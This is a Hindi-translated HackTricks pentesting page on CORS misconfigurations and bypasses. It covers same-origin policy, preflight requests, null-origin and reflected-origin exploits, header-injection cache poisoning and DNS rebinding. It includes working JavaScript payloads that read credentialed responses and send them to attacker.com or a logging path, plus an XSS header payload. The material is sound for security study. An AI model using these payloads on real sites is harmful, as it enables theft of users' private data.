CORS - Misconfigurations & Bypass

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• अगर आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!

• आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें

• हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।

• अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।

Websec | Uw Cybersecurity Specialist

CORS क्या है?

क्रॉस-ऑरिजिन रिसोर्स शेयरिंग (CORS) मानक सर्वरों को उनके संपत्तियों तक कौन पहुंच सकता है और किस HTTP अनुरोध विधियों की अनुमति है यह परिभाषित करने में मदद करता है।

एक समान-मूल नीति यह निर्धारित करती है कि एक सर्वर जो एक संसाधन का अनुरोध कर रहा है और संसाधन को होस्ट करने वाला सर्वर एक ही प्रोटोकॉल (जैसे, http://), डोमेन नाम (जैसे, internal-web.com), और पोर्ट (जैसे, 80) साझा करते हों। इस नीति के तहत, केवल वेब पृष्ठ जो एक ही डोमेन और पोर्ट से हों, उन्हें संसाधनों तक पहुंचने की अनुमति है।

http://normal-website.com/example/example.html के संदर्भ में समान-मूल नीति का अनुपालन निम्नलिखित रूप में है:

एक्सेस की गई URL	एक्सेस की अनुमति?
http://normal-website.com/example/	हाँ: एक ही योजना, डोमेन, और पोर्ट
http://normal-website.com/example2/	हाँ: एक ही योजना, डोमेन, और पोर्ट
https://normal-website.com/example/	नहीं: विभिन्न योजना और पोर्ट
http://en.normal-website.com/example/	नहीं: विभिन्न डोमेन
http://www.normal-website.com/example/	नहीं: विभिन्न डोमेन
http://normal-website.com:8080/example/	नहीं: विभिन्न पोर्ट*

*इंटरनेट एक्सप्लोरर समान-मूल नीति को प्रवर्तित करते समय पोर्ट नंबर को नजरअंदाज करता है, इसलिए यह पहुंच की अनुमति देता है।

Access-Control-Allow-Origin हेडर

यह हेडर एकाधिक मूलों, null मान, या वाइल्डकार्ड * की अनुमति दे सकता है। हालांकि, कोई भी ब्राउज़र एकाधिक मूलों का समर्थन नहीं करता, और वाइल्डकार्ड * का उपयोग सीमाओं के अधीन है। (वाइल्डकार्ड को अकेले उपयोग किया जाना चाहिए, और इसका उपयोग Access-Control-Allow-Credentials: true के साथ नहीं किया जाता है।)

यह हेडर एक सर्वर द्वारा जारी किया जाता है एक वेबसाइट द्वारा प्रारंभित एक क्रॉस-डोमेन संसाधन अनुरोध के प्रतिक्रिया में, जिसमें ब्राउज़र स्वचालित रूप से एक Origin हेडर जोड़ता है।

Access-Control-Allow-Credentials हेडर

डिफ़ॉल्ट रूप से, क्रॉस-ऑरिजिन अनुरोध कुकी या ऑथराइजेशन हेडर जैसे क्रेडेंशियल के बिना किए जाते हैं। फिर भी, जब क्रॉस-डोमेन सर्वर क्रेडेंशियल भेजते हैं, तो Access-Control-Allow-Credentials हेडर को true पर सेट करके प्रतिक्रिया को पढ़ने की अनुमति दे सकता है।

अगर true पर सेट किया जाता है, तो ब्राउज़र क्रेडेंशियल (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) भेजेगा।

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF पूर्व-उड़ान अनुरोध

पार-डोमेन संचार में पूर्व-उड़ान अनुरोध की समझ

विशेष परिस्थितियों के तहत एक पार-डोमेन अनुरोध प्रारंभ करते समय, जैसे कि गैर-मानक HTTP विधि (HEAD, GET, POST के अलावा कुछ भी), नए हेडर शामिल करना, या विशेष Content-Type हेडर मान का उपयोग करना, तो एक पूर्व-उड़ान अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, OPTIONS विधि का उपयोग करते हुए, सर्वर को आगामी पार-स्रोत अनुरोध की इच्छाओं की सूचना देने के लिए होता है, जिसमें शामिल हो सकते हैं HTTP विधियाँ और हेडर। क्रॉस-ओरिजिन संसाधन साझाकरण (CORS) प्रोटोकॉल इस पूर्व-उड़ान जांच को अनुमति देता है ताकि अनुरोधित क्रॉस-ओरिजिन ऑपरेशन की संभावना का निर्धारण किया जा सके, जिसमें अनुमति दी गई विधियों, हेडर्स, और मूल्यांकन की विश्वसनीयता की जांच की जाती है। पूर्व-उड़ान अनुरोध की आवश्यकता को घटाने वाली शर्तों को समझने के लिए, Mozilla Developer Network (MDN) द्वारा प्रदान की गई व्यापक गाइड का संदर्भ दें।

यह महत्वपूर्ण है कि पूर्व-उड़ान अनुरोध की अनुपस्थिति जवाब में अधिकृती हेडर्स ले जाने की आवश्यकता को नहीं खारिज करती। इन हेडर्स के बिना, ब्राउज़र को क्रॉस-ओरिजिन अनुरोध से आया जाने वाला जवाब प्रोसेस करने में असमर्थ बना दिया जाता है।

PUT विधि का उपयोग करने के लिए एक पूर्व-उड़ान अनुरोध का उदाहरण देखें जिसमें एक कस्टम हेडर नामित Special-Request-Header का उपयोग किया जाता है:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

जवाब में, सर्वर मान सकता है हेडर्स वापस करना जो स्वीकृत मेथड्स, अनुमति दी गई मूल, और अन्य CORS नीति विवरण दिखा सकता है, जैसा नीचे दिखाया गया है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: यह हेडर निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर्स का उपयोग किया जा सकता है। यह सर्वर द्वारा सेट किया जाता है ताकि उससे स्पष्ट हो कि क्लाइंट से अनुरोधों में कौन से हेडर्स अनुमति दी जाती है।

• Access-Control-Expose-Headers: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर्स को सरल प्रतिक्रिया हेडर्स के अतिरिक्त भाग के रूप में प्रकट किया जा सकता है।

• Access-Control-Max-Age: यह हेडर यह दर्शाता है कि पूर्व-उड़ान अनुरोध के परिणाम को कितनी देर तक कैश किया जा सकता है। सर्वर उस सबसे अधिक समय को सेट करता है, सेकंड में, जिसके द्वारा पूर्व-उड़ान अनुरोध द्वारा वापस दी गई जानकारी का पुनः उपयोग किया जा सकता है।

• Access-Control-Request-Headers: पूर्व-उड़ान अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन से HTTP हेडर्स का उपयोग करना चाहता है, उसे सर्वर को सूचित करने के लिए सेट किया जाता है।

• Access-Control-Request-Method: यह हेडर, पूर्व-उड़ान अनुरोधों में भी उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन सा HTTP विधि उपयोग किया जाएगा, इसे सेट करने के लिए होता है।

• Origin: यह हेडर ब्राउज़र द्वारा स्वचालित रूप से सेट किया जाता है और पार-मूल संवाद की मूल स्थान को दर्शाता है। यह सर्वर द्वारा उन्हें मूल्यांकन करने के लिए उपयोग किया जाता है कि क्या आने वाला अनुरोध अनुमति दी जानी चाहिए या इसे नकारा जाना चाहिए CORS नीति के आधार पर।

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

ध्यान दें कि लिनक्स 0.0.0.0 आईपी लोकलहोस्ट तक पहुंचने के लिए ये आवश्यकताओं को बाइपास करने के लिए काम करता है क्योंकि यह आईपी पता "स्थानीय" नहीं माना जाता है।

यह भी संभव है कि यदि आप किसी स्थानीय अंतबिंदु (जैसे राउटर का सार्वजनिक आईपी) का सार्वजनिक आईपी पता उपयोग करते हैं, तो स्थानीय नेटवर्क आवश्यकताओं को बाइपास करना संभव है। क्योंकि कई अवस्थाओं में, यदि सार्वजनिक आईपी तक पहुंचा जा रहा है, तो यदि यह स्थानीय नेटवर्क से है, तो पहुंच दी जाएगी।

एक्सप्लॉइटेबल मिसकॉन्फ़िगरेशन

यह देखा गया है कि Access-Control-Allow-Credentials को true सेट करना अधिकांश वास्तविक हमलों के लिए आवश्यक है। यह सेटिंग ब्राउज़र को क्रेडेंशियल भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, हमले की प्रभावकारिता को बढ़ाती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने की बजाय खुद से करने का लाभ कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का उपयोग करना असंभव हो जाता है।

अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण

एक अपवाद मौजूद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के रूप में काम करता है। इससे पीड़ित का ब्राउज़र एक प्रॉक्सी के रूप में उपयोग किया जा सकता है, आईपी-आधारित प्रमाणीकरण को आधारित एक्सेस इंट्रानेट एप्लिकेशन तक पहुंचने के लिए। यह विधि DNS रिबाइंडिंग के साथ समान प्रभाव को साझा करती है, लेकिन इसे शोषण करना सरल है।

Access-Control-Allow-Origin में Origin का परावर्तन

वास्तविक दुनिया की स्थिति जहां Origin हेडर का मान Access-Control-Allow-Origin में परावर्तित होता है सिद्धांतात्मक रूप से असंभाव है क्योंकि इन हेडर्स को मिलान करने पर प्रतिबंध है। हालांकि, यदि डेवलपर्स CORS को कई URL के लिए सक्षम करने की कोशिश कर रहे हैं, तो Access-Control-Allow-Origin हेडर को Origin हेडर के मान की प्रतिलिपि बनाकर उत्पन्न कर सकते हैं। यह दृष्टिकोण दुर्बलताएँ प्रविष्ट कर सकता है, विशेष रूप से जब एक हमलावाद एक डोमेन का उपयोग करता है जिसे वैध लगने के लिए डिज़ाइन किया गया है, असलीकरण तार्क को धोखा देता है।

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null उत्पत्ति का शोषण

null उत्पत्ति, जो रीडायरेक्ट या स्थानीय HTML फ़ाइलों जैसी स्थितियों के लिए निर्दिष्ट की गई है, एक अद्वितीय स्थिति में है। कुछ एप्लिकेशन इस उत्पत्ति को स्थानीय विकास को सुविधाजनक बनाने के लिए सफेद सूचीबद्ध करते हैं, जिससे किसी भी वेबसाइट को एक सैंडबॉक्स आइफ्रेम के माध्यम से null उत्पत्ति का अनुकरण करने की अनुमति देते हैं, जिससे CORS प्रतिबंधों को छलकरना संभव होता है।

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

नियमित अभिव्यक्ति बायपास तकनीक

जब डोमेन व्हाइटलिस्ट का सामना हो, तो महत्वपूर्ण है कि बायपास अवसरों का परीक्षण किया जाए, जैसे कि हमलावर के डोमेन को एक व्हाइटलिस्टेड डोमेन के साथ जोड़ना या सबडोमेन लेने की कमजोरियों का शोध करना। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग किए जाने वाले नियमित अभिव्यक्तियों में डोमेन नामकरण सम्मिलिति में छूट के अवसर प्रस्तुत कर सकते हैं।

उन्नत नियमित अभिव्यक्ति बायपास

रेगेक्स पैटर्न सामान्यत: अल्फान्यूमेरिक, डॉट (.), और हाइफ़न (-) वर्णों पर ध्यान केंद्रित करते हैं, अन्य संभावनाओं को नजरअंदाज करते हैं। उदाहरण के लिए, एक डोमेन नाम जिसमें ब्राउज़र्स और रेगेक्स पैटर्न्स द्वारा विभिन्न रूप से व्याख्या किए जाने वाले वर्ण शामिल हों, सुरक्षा जांचों को छलने के लिए उपयोग किया जा सकता है। सफारी, क्रोम, और फ़ायरफ़ॉक्स के अंडरस्कोर वर्णों के सबडोमेन में व्यवहार का तरीका दिखाता है कि इस प्रकार की विसंगतियों का उपयोग करके डोमेन मान्यता तर्क को छलने किया जा सकता है।

इस बायपास जांच की अधिक जानकारी और सेटिंग के लिए: https://www.corben.io/advanced-cors-techniques/ और https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

XSS के अंदर सबडोमेन से

डेवलपर्स अक्सर CORS शोषण के खिलाफ सुरक्षात्मक उपाय को लागू करते हैं जिसमें जानकारी अनुरोध करने की अनुमति दी गई डोमेन को व्हाइटलिस्ट करने के द्वारा। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेन्स में एक ही कमजोर सबडोमेन की मौजूदगी CORS शोषण के लिए दरवाजा खोल सकती है अन्य सुरक्षा खोजों के माध्यम से, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग)।

उदाहरण के लिए, एक स्थिति को विचार करें जहां एक डोमेन, requester.com, को संसाधनों तक पहुंचने की अनुमति देने के लिए व्हाइटलिस्ट किया गया है, दूसरे डोमेन, provider.com, से। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस प्रकार दिख सकती है:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

इस सेटअप में, requester.com के सभी सबडोमेन की पहुंच अनुमति है। हालांकि, यदि कोई सबडोमेन, उदाहरण के लिए sub.requester.com, XSS वंलरेबिलिटी के साथ कंप्रोमाइज हो जाता है, तो एक हमलावर इस कमजोरी का लाभ उठा सकता है। उदाहरण के लिए, sub.requester.com तक पहुंच वाले एक हमलावर XSS वंलरेबिलिटी का शोषण कर सकता है और CORS नीतियों को अनदेखा करके provider.com पर संसारिक रूप से पहुंच प्राप्त कर सकता है।

सर्वर-साइड कैश पॉइज़निंग

इस शोध से

यह संभावना है कि HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का शोषण करके, एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) वंलरेबिलिटी उत्पन्न की जा सकती है। यह स्थिति उत्पन्न होती है जब एक एप्लिकेशन Origin हेडर को गैर-कानूनी वर्णों के लिए सैनिटाइज़ नहीं करता, खासकर इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक वंलरेबिलिटी उत्पन्न करता है। ये ब्राउज़र (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में देखते हैं, जिससे HTTP हेडर इंजेक्शन वंलरेबिलिटी उत्पन्न होती है।

निम्नलिखित अनुरोध को ध्यान से देखें जहाँ Origin हेडर को मैनिपुलेट किया गया है:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer और Edge प्रतिक्रिया को इस प्रकार अनुवादित करते हैं:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

इस दुरुपयोगिता को सीधे उत्पीड़ित करना एक वेब ब्राउज़र को एक अशुद्ध हेडर भेजने के द्वारा संभव नहीं है, लेकिन एक तैयार किया गया अनुरोध उपकरणों जैसे बर्प सुइट का उपयोग करके मैन्युअल रूप से उत्पन्न किया जा सकता है। यह विधि एक सर्वर-साइड कैश को उत्तेजित कर सकती है और उत्तर को सहजता से बचाकर दूसरों को सेवित कर सकती है। तैयार किया गया पेलोड UTF-7 पेज के वर्ण सेट को बदलने का उद्देश्य रखता है, जो किसी विशेष संदर्भ में स्क्रिप्ट के रूप में क्रियान्वित किया जा सकने वाले वर्णों को एन्कोड करने की क्षमता के कारण एक्सएसएस दुरुपयोगिताओं से अक्सर जुड़ा जाता है।

भविष्य में पढ़ने के लिए भंडारित एक्सएसएस दुरुपयोगिताओं पर, देखें PortSwigger.

ध्यान दें: HTTP हेडर उत्पीड़न दुरुपयोगिताओं का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता द्वारा प्रदत्त इनपुट, सहित HTTP हेडर्स की मान्यता और शोधन का महत्वपूर्ण होना उजागर करता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यीकरण शामिल होता है ताकि ऐसी दुरुपयोगिताओं को रोकने के लिए।

क्लाइंट-साइड कैश पॉइज़निंग

इस अनुसंधान से

इस परिदृश्य में, एक वेब पृष्ठ की एक उदाहरण देखा गया है जो सही एन्कोडिंग के बिना एक कस्टम HTTP हेडर की सामग्री को प्रतिबिंबित करता है। विशेष रूप से, वेब पृष्ठ X-User-id हेडर में शामिल की गई सामग्री को प्रतिबिंबित करता है, जिसमें दुरुपयोगी जावास्क्रिप्ट शामिल हो सकती है, जैसा कि उदाहरण में दिखाया गया है जहां हेडर में एक एसवीजी छवि टैग शामिल है जो लोड होने पर जावास्क्रिप्ट कोड को क्रियान्वित करने के लिए डिज़ाइन किया गया है।

क्रॉस-ओरिजिन संसाधन साझाकरण (CORS) नीतियाँ कस्टम हेडर्स भेजने की अनुमति देती हैं। हालांकि, कोर्स प्रतिबंधों के कारण ब्राउज़र द्वारा उत्तर को सीधे प्रस्तुत किए जाने के बिना, ऐसे उत्पीड़न का उपयोग सीमित लग सकता है। महत्वपूर्ण बिंदु उत्पन्न होता है जब ब्राउज़र कैश व्यवहार को विचार में लिया जाता है। यदि Vary: Origin हेडर निर्दिष्ट नहीं किया गया है, तो ब्राउज़र द्वारा दुरुपयोगी उत्तर को कैश किया जा सकता है। इसके बाद, यह कैश किया गया उत्तर सीधे प्रस्थान करने पर सीधे प्रस्तुत किया जा सकता है, पहले अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को छोड़ते हुए। यह तंत्र ग्राहक-साइड कैशिंग का उपयोग करके हमले की विश्वसनीयता को बढ़ाता है।

इस हमले को प्रदर्शित करने के लिए, जावास्क्रिप्ट उदाहरण प्रदान किया गया है, जो एक वेब पृष्ठ के वातावरण में क्रियान्वित किया जाने के लिए डिज़ाइन किया गया है, जैसे कि एक JSFiddle के माध्यम से। यह स्क्रिप्ट एक सरल क्रिया करता है: यह एक निर्दिष्ट URL पर एक अनुकूल हेडर के साथ एक अनुरूप जावास्क्रिप्ट शामिल करने वाला अनुरोध भेजता है। सफल अनुरोध पूरा होने पर, यह लक्षित URL पर नेविगेट करने का प्रयास करता है, संभावना है कि यदि उत्तर को Vary: Origin हेडर का सही संभालन किए बिना कैश किया गया है, तो उन्होंने डाला गया स्क्रिप्ट क्रियान्वित हो सकता है।

यहाँ इस हमले को क्रियान्वित करने के लिए उपयोग किए गए जावास्क्रिप्ट का संक्षेपित विश्लेषण है:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

बायपास

XSSI (क्रॉस-साइट स्क्रिप्ट इनक्लूजन) / JSONP

XSSI, जिसे क्रॉस-साइट स्क्रिप्ट इनक्लूजन के रूप में भी जाना जाता है, एक प्रकार की कमजोरी है जो इस तथ्य का फायदा उठाती है कि सेम ऑरिजिन नीति (SOP) को यहां स्क्रिप्ट टैग का उपयोग करके संसाधन शामिल करते समय लागू नहीं होता है। यह इसलिए है क्योंकि स्क्रिप्टों को विभिन्न डोमेन से शामिल किया जा सकता है। यह कमजोरी एक हमलावार को यह अनुमति देती है कि वह स्क्रिप्ट टैग का उपयोग करके शामिल किया गया किसी भी सामग्री तक पहुंच सके और पढ़ सके।

यह कमजोरी विशेष रूप से महत्वपूर्ण हो जाती है जब यह डायनामिक जावास्क्रिप्ट या JSONP (पैडिंग के साथ JSON) के संदर्भ में आती है, विशेष रूप से जब आवाज-अधिकार सूचना जैसे कुकीज़ का उपयोग प्रमाणीकरण के लिए किया जाता है। एक विभिन्न होस्ट से संसाधन का अनुरोध करते समय, कुकीज़ शामिल की जाती है, जिससे वे हमलावार के लिए पहुंचने योग्य हो जाती हैं।

इस कमजोरी को बेहतर समझने और उसे कम करने के लिए, आप अपने वेब एप्लिकेशन में संभावित XSSI कमजोरियों की पहचान और संबोधन के लिए https://github.com/kapytein/jsonp पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको आपके वेब एप्लिकेशन में संभावित XSSI कमजोरियों की पहचान और संबोधन में मदद कर सकता है।

यहां विभिन्न प्रकार के XSSI के बारे में और उन्हें कैसे शामिल किया जाए इसके बारे में अधिक पढ़ें।

अनुरोध में एक कॉलबैक पैरामीटर जोड़ने की कोशिश करें। शायद पृष्ठ को JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। उस मामले में पृष्ठ Content-Type: application/javascript के साथ डेटा वापस भेजेगा जो CORS नीति को बायपास करेगा।

आसान (अफ़सोसनाक?) बायपास

Access-Control-Allow-Origin प्रतिबंध को बायपास करने का एक तरीका एक वेब एप्लिकेशन से अनुरोध करना है कि वह आपके पक्ष में एक अनुरोध करें और प्रतिसाद भेजें। हालांकि, इस स्थिति में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक विभिन्न डोमेन पर किया जाता है।

1. CORS-escape: यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को अपने हेडर्स के साथ आगे भेजता है, जबकि अभिमान शीर्षक को अनुरोधित डोमेन से मेल खाता है। यह CORS नीति को प्रभावी ढंग से बायपास करता है। यहां XMLHttpRequest के साथ एक उदाहरण उपयोग दिया गया है:

2. simple-cors-escape: यह उपकरण अनुरोध को प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। आपके अनुरोध को जैसा है, उसे आगे नहीं भेजते, सर्वर अपने निर्दिष्ट पैरामीटर के साथ अपना अपना अनुरोध करता है।

आईफ्रेम + पॉपअप बायपास

आप एक आईफ्रेम बनाकर और इससे एक नया विंडो खोलकर जैसे e.origin === window.origin जैसे CORS जांचों को बायपास कर सकते हैं। अधिक जानकारी निम्नलिखित पृष्ठ में है:

pageIframes in XSS, CSP and SOP

TTL के माध्यम से DNS रीबाइंडिंग

TTL के माध्यम से DNS रीबाइंडिंग एक तकनीक है जिसका उपयोग DNS रिकॉर्ड को मानियता कुछ सुरक्षा उपायों को बायपास करने के लिए किया जाता है। यह कैसे काम करता है:

1. हमलावार एक वेब पृष्ठ बनाता है और पीड़ित को इसे एक्सेस करने के लिए बनाता है।

2. फिर हमलावार अपने खुद के डोमेन का DNS (आईपी) बदलता है ताकि वह पीड़ित के वेब पृष्ठ को इंगित करे।

3. पीड़ित का ब्राउज़र DNS प्रतिसाद को कैश करता है, जिसमें एक TTL (टाइम टू लिव) मान हो सकता है जो बताता है कि DNS रिकॉर्ड को कितनी देर तक मान्य माना जाना चाहिए।

4. जब TTL समाप्त होता है, पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावार को पीड़ित के पृष्ठ पर जावास्क्रिप्ट कोड निष्पादित करने की अनुमति मिलती है।

5. पीड़ित के आईपी के ऊपर नियंत्रण बनाए रखकर, हमलावार पीड़ित सर्वर को कुकीज़ भेजे बिना पीड़ित से जानकारी एकत्र कर सकता है।

यह महत्वपूर्ण है कि ब्राउज़रों के पास कैशिंग तंत्र हो सकते हैं जो इस तकनीक का तुरंत दुरुपयोग रोक सकते हैं, यहां भी निम्न TTL मानों के साथ।

DNS रीबाइंडिंग विकल्पित आईपी जांचों को बायपास करने के लिए उपयोगी हो सकता है जो पीड़ित द्वारा किए गए निर्दिष्ट आईपी जांचों को बायपास करने के लिए या उन स्थितियों के लिए जहां एक उपयोगकर्ता या बॉट एक लंबे समय तक एक ही पृष्ठ पर रहता है, जिससे कैश समाप्त होने का समय होता है।

यदि आप DNS रीबाइंडिंग का दुरुपयोग करने के लिए एक त्वरित तरीका चाहते हैं, तो आप https://lock.cmpxchg8b.com/rebinder.html जैसी सेवाओं का उपयोग कर सकते हैं।

अपनी खुद की DNS रीबाइंडिंग सर्वर चलाने के लिए, आप DNSrebinder (https://github.com/mogwailabs/DNSrebinder) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें अपने स्थानीय पोर्ट 53/udp को उजागर करना, इसके लिए एक ए रिकॉर्ड बनाना (जैसे, ns.example.com), और पहले बनाए गए ए उपडोमेन को इंगित करने वाला एनएस रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन आपके होस्ट द्वारा हल किया जाएगा।

आप एक खुला हुआ सर्वर भी जांच सकते हैं http://rebind.it/singularity.html और अधिक समझने और प्रयोग के लिए।

DNS रीबाइंडिंग के माध्यम से **

अन्य सामान्य बायपास

• यदि आंतरिक IPs की अनुमति नहीं है, तो वे 0.0.0.0 को निषेधित करना भूल सकते हैं (लिनक्स और मैक पर काम करता है)

• यदि आंतरिक IPs की अनुमति नहीं है, तो localhost के लिए CNAME के साथ प्रतिसाद दें (लिनक्स और मैक पर काम करता है)

• यदि आंतरिक IPs की अनुमति नहीं है DNS प्रतिसादों के रूप में, तो आप www.corporate.internal जैसे आंतरिक सेवाओं के लिए CNAMEs प्रतिसाद दे सकते हैं।

DNS Rebidding Weaponized

आप पिछले बायपास तकनीकों और निम्नलिखित उपकरण का उपयोग कैसे करें के बारे में अधिक जानकारी इस टॉक में पा सकते हैं Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference।

Singularity of Origin एक उपकरण है जो DNS rebinding हमलों को करने के लिए है। यह हमले करने वाले सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर पुनः बाइंड करने और लक्षित मशीन पर सॉफ़्टवेयर को उत्कृष्ट करने के लिए हमले के पेयलोड सेव करने के आवश्यक घटक शामिल करता है।

DNS Rebinding के विरुद्ध वास्तविक सुरक्षा

• आंतरिक सेवाओं में TLS का उपयोग करें

• डेटा तक पहुंचने के लिए प्रमाणीकरण का अनुरोध करें

• होस्ट हेडर को मान्यता दें

• https://wicg.github.io/private-network-access/: प्रस्ताव जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुंचना चाहते हैं तो हमेशा एक पूर्व-उड़ान अनुरोध भेजने के लिए

उपकरण

CORS नीतियों में संभावित गलतियों को ढूंढें

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8

• https://github.com/chenjj/CORScanner

• https://github.com/lc/theftfuzzer

• https://github.com/s0md3v/Corsy

• https://github.com/Shivangx01b/CorsMe

• https://github.com/omranisecurity/CorsOne

संदर्भ

• https://portswigger.net/web-security/cors

• https://portswigger.net/web-security/cors/access-control-allow-origin

• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS

• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

• https://www.codecademy.com/articles/what-is-cors

• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors

• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration

• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b

Websec | Uw Cybersecurity Specialist

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सदस्यता योजनाएं देखें!

• आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें

• हमारे विशेष NFTs कलेक्शन The PEASS Family खोजें

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।

• अपने हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos को PR जमा करके।